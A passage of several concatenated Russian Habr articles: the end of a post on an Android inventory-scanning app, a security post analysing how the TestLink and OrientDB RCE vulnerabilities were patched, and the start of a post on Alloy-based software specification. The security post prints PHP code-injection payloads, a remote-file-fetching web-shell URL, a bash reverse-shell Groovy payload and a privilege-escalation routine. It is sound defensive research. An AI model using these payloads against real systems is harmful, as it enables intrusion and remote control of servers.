Либо код сканится, если он не поврежден. * Либо вписывается вручную, если, скажем, коробка где-то далеко, но есть документ доставки. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/98c/670/cf0/98c670cf01a4633b5dface08b3beda5e.jpg)Вообще, сам сканнер был написан не мной. Я честно нашел его на каком-то сайте и даже сохранил все комментарии автора. Но его пришлось переделать и завернуть в свое приложение, а это уже что-то добавленное от меня. К тому же переписать часть старого кода на Java и обеспечить совместимость с новыми зависимостями. Отправкой запросов занимается библиотека Retrofit 2. Простые запросы пишутся в пару строчек, но обработка входных данных намного сложнее чем на Python. Всегда важно помнить какой тип чем обрабатывать, компилировать код, да и в самом проекте много файлов, поддиректорий, зависимостей, легко в этом потеряться с непривычки. #### Кнопки в приложении Main Activity содержит всего 3 метода – onCreate, scanCode, enterCode и описывают кнопки, которые запускают другие активити: ``` protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Spinner fromSpinner = (Spinner) findViewById(R.id.fromSpinner); Spinner toSpinner = (Spinner) findViewById(R.id.toSpinner); ArrayAdapter adapter = new ArrayAdapter ( this, android.R.layout.simple\_spinner\_item, warehouses); adapter.setDropDownViewResource(android.R.layout.simple\_spinner\_dropdown\_item); fromSpinner.setAdapter(adapter); toSpinner.setAdapter(adapter); } public void scanCode(View view) { Intent intent = new Intent(MainActivity.this, Scan.class); Spinner get\_w\_from = (Spinner) findViewById(R.id.fromSpinner); Spinner get\_w\_to = (Spinner) findViewById(R.id.toSpinner); EditText editText = (EditText) findViewById(R.id.prodctQuantity); String quantity\_tt = editText.getText().toString(); RequestData requestData = new RequestData( get\_w\_from.getSelectedItem().toString(), get\_w\_to.getSelectedItem().toString(), quantity\_tt); intent.putExtra(RequestData.class.getSimpleName(), requestData); startActivity(intent); } ``` Закладка “Enter Code” отвечает за ручной ввод реферального кода. Скажем, если наклейка повреждена. Здесь все просто – вписываем и отправляем. ![Ручная отправка кода](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/b13/f4f/90a/b13f4f90a8c6e243b2e79cf0b54fbff7.jpg "Ручная отправка кода")Ручная отправка кодаScan Code переключается на Activity co сканнером, а обрабатываются изображения библиотекой Barcode Scanner от Google. ![Окно сканирования кода](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/942/73f/28c/94273f28c114ae8e2656da5f858d4f1a.jpg "Окно сканирования кода")Окно сканирования кодаSend Code – отправляющая код на сервер. Обработчик получает данные из текстового поля сканнера или инпута из активити ручного заполнения, валидирует его и передает данные обработчику отправки запроса. А Retrofit делает все остальное. Приложение, пока что, самая недопиленная часть – сказывается плохое знание Java и отсутствие опыта разработки под Android в целом, но я пытаюсь исправиться. Код приложения на github: <https://github.com/palachintosh/product_control.git> #### Как это выглядело раньше Раньше процесс управления продуктами выглядел так: * Когда приезжала большая доставка – продукты добавлялись на сайт вручную с накладной; * Когда велосипед продавался – его нужно было зарегистрировать в базе производителя, записать на бумажный листок модель и дату, снять единицу продукта через админку; * Нужно было как-то мониторить склады, с которых коробки приезжают и стараться это обновлять по мере возможности. Как это выглядит сейчас: * Когда приезжает доставка – сканируются либо штрих-коды на накладной, либо каждая коробка; * Во время продажи – подтверждается действие удаления единицы продукта; * Когда коробки мигрируют со склада на склад –в приложении выбираются склады и отправляется отсканированный код.  В сумме, новый подход экономит около 2-х минут на каждом проданном велосипеде и гораздо больше на всех переносах склад-склад. #### Выводы Если посчитать все обязательные кнопки, то получается, что их реально **5**: 1. Отправка запроса с сайта производителя чтобы снять продукт. 2. Отмена отправки запроса (если велосипед был продан через интернет, тогда этим управляет PrestaShop). 3. Кнопка "Enter code" в приложении. 4. Кнопка "Scan code". 5. Отправка запроса в приложении – "Send Code". Вся система действительно работает в магазине и ею пользуются даже те, кто испытывает трудности в работе с компьютером, а это, как мне кажется вполне неплохо для первого учебного проекта. Из явных минусов в глаза бросается безопасность, громоздкость скрипта расширения, отсутствует кроссплатформенность, да и вообще работает только у нас в магазине. Но самый главный минус - нужно вручную вписать штрих-код каждого отдельного продукта на самом сайте и добавлять их вручную на склады. Из плюсов: облегчает жизнь сотрудникам и экономит время, инвентаризации на складах делаются моментально, ну и респект от шефа, конечно же. Если статья не улетит в минуса или вообще будет опубликована, то подробно опишу код всего проекта, отрефакторю его, сделаю более безопасным и читаемым. Людям, посмотревшим репозитории или вообще прочитавшим это буду благодарен за конструктивные комментарии и критику.
https://habr.com/ru/post/555696/
null
ru
null
# Можно ли войти в закрытую дверь, или как патчат уязвимости В мире каждый день публикуются десятки CVE (по данным компании [riskbasedsecurity.com](http://riskbasedsecurity.com) за 2017 год было опубликовано 20832 CVE). Однако производители стали с большим пониманием и вниманием относиться к security-репортам, благодаря чему скорость закрытия багов существенно увеличилась (по нашим ощущениям). Нам стало интересно посмотреть на несколько продуктов и понять, из-за чего же возникли уязвимости (учимся на чужих ошибках). А также как производители их исправляют и всегда ли это у них получается (забегая вперед – не всегда). ![](https://habrastorage.org/r/w780q1/webt/gg/9d/8j/gg9d8jf7r31sowigmkcxl6x4wdo.jpeg) ### Критерии отбора: Как и в любом ~~хорошем~~ контролируемом эксперименте, мы поставили ряд ограничений на рассматриваемые уязвимости: * должен быть эксплойт – мы хотим посмотреть, что до обновления все было ~~хорошо эксплотируемо~~ плохо, а после стало хорошо; * уязвимость должна быть критичной (в идеале RCE) и с высоким score; * продукт должен быть OpenSource; * продукт должен быть не заброшенным и активно используемым; * уязвимость должна быть относительно новой; * главное, чтобы нам самим было интересно. ### Что и как мы выбрали: Мы зашли на [vulners.com](http://vulners.com) (“Google” for Hackers) и попросили показать все эксплойты с [exploit-db.com](http://exploit-db.com) за последние пару недель. Так мы нашли нашего первого ~~подопечного~~ испытуемого. Продукт TestLink Open Source Test Management — web-система управления тестированием, написанная на PHP. (CVE-2018-7466, score 8.3, RCE, опубликована 25 февраля 2018 года — все, как мы хотели). Второго испытуемого мы решили поискать с score 10. И тут нам на глаза попалась уязвимость в OrientDB (CVE-2017-11467, score 10, RCE, опубликована 17 июля 2017 года, почти как мы хотели). OrientDB — открытая СУБД, которая объединяет в себе возможности документно-ориентированной и графо-ориентированной БД [(wiki)](http://https://ru.wikipedia.org/wiki/OrientDB). Процесс выбора занял у нас 15-20 минут. Большую часть этого времени мы пытались понять, что это за продукт и подходит ли он под наши критерии. Получается, выбор можно назвать относительно случайным. Переходим к рассмотрению наших испытуемых. ### TestLink Open Source Test Management (CVE-2018-7466): Читаем описание [эксплойта](http://https://vulners.com/exploitdb/EDB-ID:44226). Видим, что уязвима версия до 1.9.16 (включительно) и что все исправлено в версии 1.9.17. Идем на сайт производителя в надежде скачать новую и старую версию. Тут нас ждет первый удивительный момент: на сайте производителя есть только уязвимая версия. Поиски на просторах интернета версии 1.9.17 не дают результата. Находим новость о том, что новая версия будет в первом квартале 2018 года. Но есть [github-проект](http://https://github.com/TestLinkOpenSourceTRMS/testlink-code), где можно взять последнюю версию, чтобы понять, как разработчики исправили проблему. Ставим TestLink, тут все просто. Необходимо установить связку Apache+PHP+Mysql и разархивировать папку с проектом в папку Web-сервера. После этого зайти на свой Web-сервер, где нас встретит мастер установки, который сообщит нам, что пользователь по умолчанию admin с паролем admin. При первом входе нас не просят сменить его, но это легко можно сделать в настройках пользователя. Из текста эксплойта понимаем, что проблемный скрипт — «/install/installDbInput.php». Он находится в папке install, а мы уже выполнили инсталляцию, и она, по идее, уже должна быть недоступна. Однако если попробовать к ней обратиться, выясняется, что это не так. Данное поведение установщика весьма небезопасно, так как любой желающий может перетереть все ваши записи. Тут я, конечно, перегибаю палку. На самом деле, он может указать, что надо использовать новый сервер Mysql, а в старом все останется, и можно будет откатить к рабочей версии. В тексте эксплойта в качестве имени пользователя передается строка вида: ``` "box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//" ``` Очевидно, что у нас есть инъекция в php-коде. Посмотрим, откуда она берется. Идем в скрипт installDbInput.php и видим в строках с 62 по 69 сохранение пользовательских значений. После, они как-то используются, а потом в строках 489-498 сохраняются в файл ``` $cfg_file = "../config_db.inc.php". ``` ``` // get db info from session // строки 62-69 $db_server = $_SESSION['databasehost']; $db_admin_name = $_SESSION['databaseloginname']; $db_admin_pass = $_SESSION['databaseloginpassword']; $db_name = $_SESSION['databasename']; $db_type = $_SESSION['databasetype']; $tl_db_login = $_SESSION['tl_loginname']; $tl_db_passwd = $_SESSION['tl_loginpassword']; $db_table_prefix = $_SESSION['tableprefix']; ``` ``` //строки 489-498 $data['db_host']=$db_server; $data['db_login'] = $user_host[0]; $data['db_passwd'] = $tl_db_passwd; $data['db_name'] = $db_name; $data['db_type'] = $db_type; $data['db_table_prefix'] = $db_table_prefix; $cfg_file = "../config_db.inc.php"; $yy = write_config_db($cfg_file,$data); ``` Как не сложно догадаться, php-код, который мы записали в файл «config\_db.inc.php», теперь легко доступен и может быть выполнен (классический RCE в действие). Вот код config\_db.inc.php после эксплойта: ``` // config_db.inc.php define('DB_TYPE', 'mysql'); define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//'); define('DB_PASS', '123'); define('DB_HOST', 'localhost'); define('DB_NAME', 'testlink'); define('DB_TABLE_PREFIX', ''); ``` ### Fix от TestLink: В описании CVE на [nist.gov](http://nist.gov) есть ссылка на коммит на [github](http://https://github.com/TestLinkOpenSourceTRMS/testlink-code/commit/9696012eecbafb0aa21cc346234512c29b4746#diff-d4d3690fd935ae4151868413f5c6bf07), который “закрывает” данную уязвимость, уменьшив возможную длину логина до 32 символов (почему только логина, хотя инжект возможен во всех полях, и почему до 32 — для нас осталось загадкой). Мы потерли ручонки и решили обойти ограничение в 32 символа в логине (хотя можно было почитать код внимательнее и понять, что мы бьемся уже в закрытую дверь). В изначальном эксплойте было 64 символа в инжекте. Подумав, как это сократить, мы решили воспользоваться стандартной функцией eval и сократить имя пользователя до одной буквы. Вот что у нас получилось: ``` b');eval($_GET['e']);// ``` 23 символа (если можно короче, то напишите в комментариях, нам любопытно), использовать как-то так: ``` /config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt ``` Проверив на старой версии, что наш код “эксплойта” работает, мы скачали с гита новую версию (официально новой версии все еще нет), поставили и разочаровались, так как наш код не отработал. ### Почему не отработал наш код? В файл config\_db.inc.php наш код занесся в виде: ``` define('DB_USER', 'bevalGETe'); ``` То есть убрались все специальные символы. Смотрим в новый код installNewDB.php внимательнее и видим, что в строках 56-82 добавилась “обработка” пользовательского ввода вида: ``` $san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name); ``` То есть все символы, отличные от букв, цифр и символа “-”, удаляются. И, соответственно, эксплойт перестает работать. ВНИМАНИЕ. Перестает работать не только эксплойт, но и сам функционал. Поскольку preg\_replace с регулярным выражением '/[^A-Za-z0-9\-]/’ применяется ко всем полям, теперь невозможно задать удаленный хост с базой данных. Так как сложно представить запись, в которой не будет встречаться точка (будет как в доменной записи, так и в записи ipv4-адреса) или двоеточие (ipv6-адреса никто не отменял). Также теперь стало проще перебирать пароли (в них могут быть только буквы, цифры и символ “-”). ### Выводы по TestLink и CVE-2018-7466: * уязвимость закрыта; * регулярное выражение, закрывающее уязвимость, ломает часть функциональности; * регулярное выражение, закрывающее уязвимость, упрощает перебор паролей; * на [nist.gov](http://nist.gov) указан неправильный коммит, закрывающий уязвимость ([вот правильный](http://https://github.com/TestLinkOpenSourceTRMS/testlink-code/commit/6927ed1b7dafe84ae7c57982d66fe42f08d048c5#diff-d4d3690fd935ae4151868413f5c6bf07)). ### Хозяйке на заметку по TestLink и CVE-2018-7466: * фильтруйте ввод пользователей (используя для этого специальные функции языка, а не самописные регулярные выражения); * не храните пользовательский ввод в php-скриптах (и запретите запуск php-интерпретатора для файлов с другим расширением, а заодно и отдачу этих файлов); * не храните логины и пароли от базы данных в открытом виде; * запрещайте доступ или удаляйте каталог install после установки. ### OrientDB (CVE-2017-11467): Читаем описание [эксплойта](http://https://vulners.com/exploitdb/EDB-ID:44068). Там опять есть ссылка на [github](http://https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security), где сказано, что уязвимость исправлена в версии 2.2.23. Значит, для начала нас интересует версия 2.2.22 (которая должна быть уязвима). Установка в этот раз гораздо проще. Разработчики дают докер-контейнеры, где все настроено, а docker hub хранит все версии. Поэтому просто пишем: ``` sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22 ``` и получаем контейнер с уязвимой версией OrientDB. Копируем питоновский код эксплойта к себе и запускаем. Однако скрипт падает со словами, что у нас нет базы данных (возможно, еще упадет со словами, что у вас не хватает какого-нибудь питоновского пакета). Заходим к себе на локальный хост по порту 2480 и создаем базу. Запускаем эксплойт снова, в этот раз он тоже не отработает, так как встроенная полезная нагрузка (реверс шелл) требует наличия bash, а в нашем контейнере есть только sh. Для теста мы решили написать payload, который просто создает файл. Понятно, что в реальной жизни можно все сделать куда интересней. За полезную нагрузку отвечает переменная query, в которой содержится код на языке Groovy. Меняем полезную нагрузку с ``` def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute(); ``` на ``` def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute(); ``` Запускаем эксплойт, и внутри нашего контейнера создается файл test.sh. Отлично, эксплойт работает, уязвимость присутствует. ### Проверяем, что все закрыли. Теперь проверяем, что все удачно закрыли в версии 2.2.23 (версия от 11 июля 2017). Запускаем контейнер с этой версией (создаем базу), запускаем эксплойт и в контейнере проверяем файл. Не верим свои глазам: там есть наш тестовый файл. Проверяем версию продукта (в web-интерфейсе есть вкладка “about”) — там все верно, версия 2.2.23. Перезапускаем эксплойт с другим именем файла (test.sh – не самое оригинальное имя) – все отработало. Проверяем описание эксплойта на [nist.gov](http://https://nvd.nist.gov/vuln/detail/CVE-2017-11467). Там ссылка, что уязвимость закрыта в версии 2.2.23. Ладно, давайте искать версию, где уязвимость была закрыта. Очень повезло, что есть контейнеры всех версий и алгоритм бинарного поиска. Запасаемся печеньками и начинаем поиск. Запускаем самую свежую версию – 2.2.33 (5 марта 2018) — без надежды, что на ней что-то заработает. Проверяем – работает. Смотрим в код эксплойта и видим, что проблема чуть менее серьезная, чем показалась изначально: все запросы выполняются от имени пользователя “writer” с паролем “writer”. Другими словами, нарушается второе святое правило: создаются встроенные учетные записи с зашитыми паролями. Этим страдают даже гиганты (вспомним нашумевшую уязвимость у Oracle в [прошлом году](http://https://nvd.nist.gov/vuln/detail/CVE-2017-10151), где встроенному пользователю OIMINTERNAL был назначен пароль пробел), что уж ожидать от небольшого opensource-продукта. Позже выяснилось, что там есть не только эта учетная запись, но еще admin:admin (мои любимые) и reader:reader. При этом всем, через web-интерфейс за 2 минуты не находится место, где их можно поменять, а в официальной документации нет информации о том, что это надо сделать. Проблема заключается в том, что при создании базы эти пользователи автоматически добавляются к ней. Даже если бы не было возможности исполнять код, то просмотр данных (и их модификация) может стать проблемой для владельца ресурса, использующего OrientDB, и его пользователей. ### Почему не закрыли? Смотрим [коммит](http://https://github.com/orientechnologies/orientdb/commit/200535c3183f7db88ee4526bf3316d6bdeddb68e), в котором должны были закрыть данную уязвимость. В файл OCommandExecutorSQLSelect.java добавлена проверка того, что пользователь имеет разрешение на чтение в роли «database.systemclusters», которая должна решить проблему изменения прав. Подняв еще раз контейнер версии 2.2.23, залогинившись под пользователям writer и перейдя во кладку Security, видим сообщение об ошибке доступа: ``` com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23" ``` Это значит, что пользователь не может просматривать свои права. В версии 2.2.22 такой ошибки не было и пользователь мог спокойно смотреть и менять свои права. Обратим внимание на название файла: OcommandExecutorSQLSelect.java. В нем ключевое слово Select. Смотрим [в папку на гите](http://https://github.com/orientechnologies/orientdb/tree/200535c3183f7db88ee4526bf3316d6bdeddb68e/core/src/main/java/com/orientechnologies/orient/core/sql) и видим, что для каждой SQL-команды, есть свой класс, а последнее изменение как раз относится к классу OCommandExecutorSQLSelect.java (9 месяцев назад). В коде эксплойта есть функция priv\_escalation ``` def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False, ``` которая выполняет операции «Grant» к ролям database.class.ouser, database.function, database.systemclusters (для них даются полные права «create»,«read»,«update»,«execute»,«delete»). Класс [OCommandExecutorSQLGrant.java](http://https://github.com/orientechnologies/orientdb/blob/200535c3183f7db88ee4526bf3316d6bdeddb68e/core/src/main/java/com/orientechnologies/orient/core/sql/OCommandExecutorSQLGrant.java) никак не учитывает изменения, которые произошли в классе OcommandExecutorSQLSelect.java, и что вызовы можно производить напрямую к API (а не тыкать в Web-интерфейсе). Получается, возможно выдать себе права, необходимые для запуска Groovy-кода, который может быть выполнен в контексте операционной системы, что и происходит в эксплойте. Налицо нарушение третьего святого правила: закрытие уязвимости в отображаемых результатах, а не в API, к которому пользователь также имеет доступ. ### Выводы по OrientDB и CVE-2017-11467: * уязвимость не закрыта (при обращении к API можно выдать себе необходимые права для запуска Groovy-кода); * в системе присутствуют встроенные пользователи с высокими правами; * Shodan говорит, что 458 хостов по всему миру используют OrientDB, а значит, потенциально к ним можно получить доступ. (Интуиция мне подсказывает, что администраторы этих баз не задумались о встроенных пользователях и не запретили их.) ### Хозяйке на заметку по OrientDB и CVE-2017-11467: * ~~не создавайте встроенных пользователей с одинаковыми паролями;~~ * ~~заставляйте при установке менять пароли к встроенным пользователям (если они вам так необходимы);~~ * не создавайте встроенных пользователей; * исправляйте ошибки в API, а не в отображаемых результатах; * закрытые уязвимости могут быть не закрыты; * nist.gov опять не прав. ### Заключение: Тема закрытия уязвимостей оказалась куда интереснее, чем нам виделось изначально. Выбранные случайным образом две уязвимости продемонстрировали, что закрываются они странно и плохо. В будущем мы продолжим смотреть, что и как происходит с закрытием уязвимостей. Пишите в комментарии, какие странно “закрытые” уязвимости наблюдали вы.
https://habr.com/ru/post/353108/
null
ru
null
# Инженерный подход к разработке ПО Как проверить идеи, архитектуру и алгоритмы без написания кода? Как сформулировать и проверить их свойства? Что такое model-checkers и model-finders? Требования и спецификации — пережиток прошлого? Привет. Меня зовут Васил Дядов, сейчас я работаю программистом в Яндексе, до этого работал в Intel, ещё раньше разрабатывал RTL-код (register transfer level) на Verilog/VHDL для ASIC/FPGA. Давно увлекаюсь темой надёжности софта и аппаратуры, математикой, инструментами и методами, применяемыми для разработки ПО и логики с гарантированными, заранее определёнными свойствами. Это первая моя статья из цикла, призванного привлечь внимание разработчиков и менеджеров к инженерному подходу к разработке ПО. В последнее время он незаслуженно обойдён вниманием, несмотря на революционные изменения в подходе и инструментах поддержки. Не буду лукавить: основная задача статьи — возбудить интерес. Так что в ней будет минимум пространных рассуждений и максимум конкретики. ![](https://habrastorage.org/webt/1s/o1/cp/1so1cpitzwds_nhpyzfz1a3f4rc.gif) В статье две части. В первой я опишу, что подразумеваю под инженерным подходом, во второй покажу пример использования подхода в рамках простой задачи (близкой к области микросервисной архитертуры). Я всегда открыт для обсуждения вопросов, связанных с разработкой ПО, и буду рад пообщаться с читателями (координаты для связи есть в моём профиле). Часть 1. Инженерный подход к разработке --------------------------------------- Что это такое? Покажу на примере возведения моста: * Этап 1 — это сбор требований к мосту: тип моста, грузоподъёмность и т. д. * Этап 2 — уточнение требований и расчёт конструкций (спецификация). * Этап 3 — собственно само строительство на основе инженерных расчётов (спецификаций). Конечно, это упрощённая аналогия. Никто не делает прототипов мостов, чтобы уточнить требования и спеки. В мост нельзя добавить параметризации, чтобы он становился то арочным, то подвесным. Но в целом, думаю, аналогия ясна. В разработке ПО этапы 1 и 2 часто отсутствуют либо очень слабо выражены. Если требования и зафиксированы, то расплывчато, неполно и неформально. Лишь единицы детализируют требования и разрабатывают чёткие спецификации. Многие считают, что это трата времени, пережиток прошлого, особенно если выбран agile-подход к разработке (особенно с короткими итерациями). И это большое заблуждение. Почему? Для начала разберёмся, что такое требование и спецификация и в чём их существенное отличие, которое даже многим профессионалам не всегда очевидно. ### Что такое требования? Если кратко, требования — это формулирование свойств продукта в терминах предметной области. Например, так: «Все экземпляры программы должны одинаково обрабатывать входные запросы». В требованиях не используются термины области реализации. Как только в требования просачиваются термины «синхронизация состояний», Raft, Paxos, «логарифмическая сложность по времени» — то начинают смешиваться требования и спецификация. Важно понимать это и чётко отделять одно от другого. Почему? 1. Требования должны быть понятны потребителям ПО, поэтому должны быть из предметной области, для которой разрабатывается ПО (часто к формулировке требований и постановке задачи на разработку ПО приходится привлекать экспертов, далеких от разработки). 2. Свойства ПО, которые видит потребитель, оцениваются по метрикам предметной области. Нужно разделять требования и спецификации, чтобы иметь возможность 1) выделить основные метрики продукта, по которым потребитель будет оценивать наше ПО, и 2) ясно понимать, какие свойства продукта важны для пользователя, а какие нет. А иначе может получиться так: разработчики, не укладываясь в срок, пожертвуют важными свойствами и уделят много времени и внимания неважным. Причём то, что кажется важным с точки зрения разработки ПО, может быть неважным с точки зрения для пользователя. Классический пример такого несоответствия приведён в разнообразной литературе о разработке пользовательского интерфейса и в статьях (например: [System Response Time and User Satisfaction: An Experimental Study of Browser-based Applications](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.99.2770&rep=rep1&type=pdf), [Computer latency: 1977–2017](https://danluu.com/input-lag/)). Разработчики обычно стараются оптимизировать время выполнения операции, например поиска информации в базе данных, а для пользователя важно время отклика системы. И если поиск идёт медленно, но пользователь начинает видеть выдаваемые результаты как можно быстрее, то ему кажется, что такое ПО работает лучше, чем то, которое ищет быстро, но сначала аккумулирует результаты и в конце выдаёт их все. Именно поэтому планировщики ресурсов ОС различаются для серверного и десктопного режимов работы. Для серверного режима важна максимальная пропускная способность системы, т. е. оптимизация времени и памяти, чтобы эффективно использовать сервер. А для пользователя важна задержка отклика системы. Чем быстрее система реагирует на действия, тем более шустрой она кажется, даже если работает медленнее. И, наконец, самая важная причина: **Если требования и спеки смешиваются — значит, мы не полностью понимаем задачи, для которых разрабатываем ПО. Задачи из предметной области мы начинаем формулировать и решать в области разработки ПО. Поэтому логика предметной области просачивается и запутывает логику кода. В итоге получается сильно связанный код, который тяжело поддерживать.** Об этом хорошо написал Michael Jackson в книге [Problem Frames: Analysing & Structuring Software Development Problems](https://www.amazon.com/Problem-Frames-Analysing-Structuring-Development/dp/020159627X/). На мой взгляд, это одна из самых полезных книг для разработчиков ПО. Она учит в первую очередь анализировать проблемы пользователей, которые и должно решать хорошее ПО. Супербыстрая программа, которая потребляет мало ресурсов системы, но не решает задач пользователей, — это плохая программа. Крутая, но плохая. ### Что есть спецификация? Спецификация — это формулирование свойств ПО в терминах области разработки ПО. Вот тут появляются понятия сложности, синхронизации и т. д. Спецификации могут быть организованы иерархически: от абстрактных к конкретным, по которым можно писать код. Такой подход зачастую наиболее эффективен. В абстрактных спецификациях легко отражается архитектура — можно увидеть основные свойства, найти архитектурные ошибки и т. д. Поэтому мы можем отыскать проблемы на ранних стадиях жизненного цикла ПО и существенно уменьшить затраты на исправление ошибок. Особенно стоить отметить пользу и важность спецификаций на протоколы и интерфейсы между компонентами системы, что позволит избежать вот таких ситуаций: ![](https://habrastorage.org/r/w780q1/webt/ap/ej/si/apejsivp0epnahw7v99muevkkxs.jpeg) ### В чём отличие от обычного подхода к разработке? При инженерном подходе мы заранее проектируем ПО с требуемыми характеристиками в соответствии со спецификациями. Спецификации проверяем на нужные свойства, которые идут из требований. Я сделал сравнение в виде таблички (весьма субъективной): | Свойство | Инженерный подход | Ремесленный подход | | --- | --- | --- | | Формулирование требований | Детальное, часто используется формат ReqIF и сопутсвующие инструменты (Eclipse RMF, например) | Детализация обычно мала, формулировки неточные, неформальные | | Спецификации | Часто формальные, используются B-method, Z, VDM, TLA+, Alloy и т. д | Вы что? Какие спеки? Мы в файлике написали, что нам нужно сделать и как оно должно работать, и хватит | | Отладка и моделирование спецификаций | Pro-B, Atelier B, TLA+/TLC, Alloy, PRISM, VECS и т. д. | Ой, а что, так можно было? | | Выделение метрик | Детальное, на основе спецификаций и моделей | Ну, какие-то метрики придумаем, напишем на вики-страничке | | Разработка кода | На основе спецификаций и моделей | Ну, тут как обычно: хлоп-хлоп — и в продакшн | | Тестирование | Направленные тесты на основе моделей на краевые случаи, выявленные на моделях; направленные рандомизированные генерируемые по моделям. Интеграционные на краевые случаи по спецификациям интерфейсов и протоколов взаимодействия. Контролирующие автоматы на основе LTL-свойств моделей; направленный фаззинг; Bounded model checking (Divine, например) | Ну, как обычно: немножко юнит-тестов, потом подумаем над типовыми случаями и добавим интеграционных и системных; фаззинг для некоторых критичных функций (слабо фаззингом найти ошибку синхронизации в многопоточном ПО?); немного погоняем тесты под санитайзерами | | Верификация | Например, возьмём GNATprove или Frama-C, возьмём свойства из спецификаций, аннотируем код и докажем формально соответствие кода формальным спецификациям; или будем использовать Atelier B, чтобы итеративно от спецификации перейти к реализации через кодогенерацию на финальном этапе; или выберем другой способ | Не-е, это страшно, долго и дорого, да мы и не сформулировали свойства для формальной верификации: на соответствие чему проверять-то? | ### А не за водопадную ли модель разработки тут идёт агитация? Инженерия ПО, включая даже формальные спеки и моделирования, отлично сочетается с agile-подходом. Есть мнение, что инженерный подход к разработке несовместим с быстрой итерационной разработкой ПО (так утверждается во многих статьях, [вот пример](https://www.kv.by/archive/index2008334201.htm)). Но это не так. Инженерный подход с успехом применяется во многих проектах, в том числе в проектах с короткими итерациями. Раньше из-за слабо развитых средств и инструментов поддержки инженерный подход действительно был тесно связан с водопадной моделью. *Но сейчас всё кардинально поменялось.* Благодаря прорывным успехам в области моделирования, SAT/SMT-солверов и др. теперь можно быстро проверять огромные пространства состояний системы на наличие нужных нам свойств и отсутствие ненужных, верифицировать промышленные объёмы кода и т. д. Появились первоклассные промышленные инструменты типа Alloy, TLA+/TLC, Atelier B, PRISM, которые перевели задачу формализации и проверки спецификаций из академической/математической, требующей высокой квалификации и огромных усилий, в задачу push-button, доступную большинству программистов. Спецификации сейчас можно разрабатывать итеративно и инкрементально. Модели отлично разрабатываются итерационно, от абстрактных к конкретным. Время моделирования даже крупных систем исчисляется минутами и часами. Требования легко уточнять итеративно, особенно с современными подходами и инструментами. И уточнение требований, спецификаций, рефакторинг моделей, написание кода и его рефакторинг легко могут идти параллельно — в рамках одной итерации. В общем, инженерный подход сейчас совсем не равен водопадной модели, это уже две независимые вещи. Инженерный подход легко сочетается с любой методологией организации разработки. В блоге Hillel Wayne показано, как просто работать с формальными спецификациями и моделями. У него есть отличный [пример](https://www.hillelwayne.com/post/formally-specifying-uis/), как за 10 минут формально специфицировать логику пользовательского интерфейса программы и проверить некоторые её свойства. Не буду вдаваться в детали и переводить статью целиком, просто покажу саму спецификацию на языке **Alloy**: **Спецификация UI** ``` open util/ordering[Time] sig Time { state: one State } abstract sig State {} abstract sig Login extends State {} abstract sig Reports extends Login {} one sig Logout extends State {} one sig Students, Summary, Standards extends Reports {} one sig Answers extends Login {} pred transition[t: Time, start: State, end: State] { t.state in start t.next.state in end } pred logout[t: Time] { transition[t, Login, Logout] } pred login[t: Time] { transition[t, Logout, Summary] } pred students[t: Time] { transition[t, Reports, Students] } pred summary[t: Time] { transition[t, Reports, Summary] } pred standards[t: Time] { transition[t, Reports, Standards] } pred answers[t: Time] { transition[t, Students, Answers] } pred close_answers[t: Time] { transition[t, Answers, Students] } fact Trace { first.state = Summary all t: Time - last | logout[t] or login[t] or students[t] or summary[t] or standards[t] or answers[t] or close_answers[t] } ``` Как видно, спецификация краткая и понятная. Здесь описан небольшой автомат, реализующий абстрактную логику UI в виде состояний и переходов между ними. Свойства для проверки тоже легко задаются: ``` check {all t: Time | t.state = Answers implies t.prev.state = Students} for 7 ``` Спецификация похожа на небольшую программу. К её разработке, уточнению и рефакторингу можно применять те же подходы, что и к разработке программ на любых языках программирования. С такими спецификациями можно легко работать в стиле agile. Зачем нужны такие спецификации и что с ними делать — покажу далее. ### Формализация спецификаций Как вы уже догадались, вышеприведённая спецификация является формальной, так как выполнена в рамках формализма — языка **Alloy**, который позволяет описывать объекты и взаимосвязи между ними в рамках реляционной логики первого порядка. Если грамотно подходить к разработке, то на этапе формализации, отладки и моделирования спецификаций можно выявить и исправить наиболее критичные и дорогие (при обнаружении на заключительных этапах) ошибки и проблемы в ПО. Отладка спецификаций позволяет выявить и исправить основные (или даже все) архитектурные проблемы ПО на ранних этапах, зачастую даже до кодирования. Чтобы не утомлять читателя лишними словами, перейдём к простому примеру. Часть 2. Пример использования Alloy ----------------------------------- Чтобы показать возможности Alloy, я приведу пример создания и отладки спецификации вычислительных графов: структуры, описывающей один из способов обработки данных в системах, основанных на микросервисах и др. Пример можно рассматривать как начало разработки архитектуры верхнего уровня для вычислительной системы для обработки больших потоков данных на основе микросервисов, где каждый микросервис — это узел в сети, который принимает данные, выполняет над ними какую-то операцию и передаёт их дальше. Представленный подход к обработке данных на основе вычислительных графов применим для широкого класса задач. Тут мы проанализируем основные свойства, которыми должны обладать вычислительные графы, чтобы на основе графов можно было делать работоспособные системы. ### 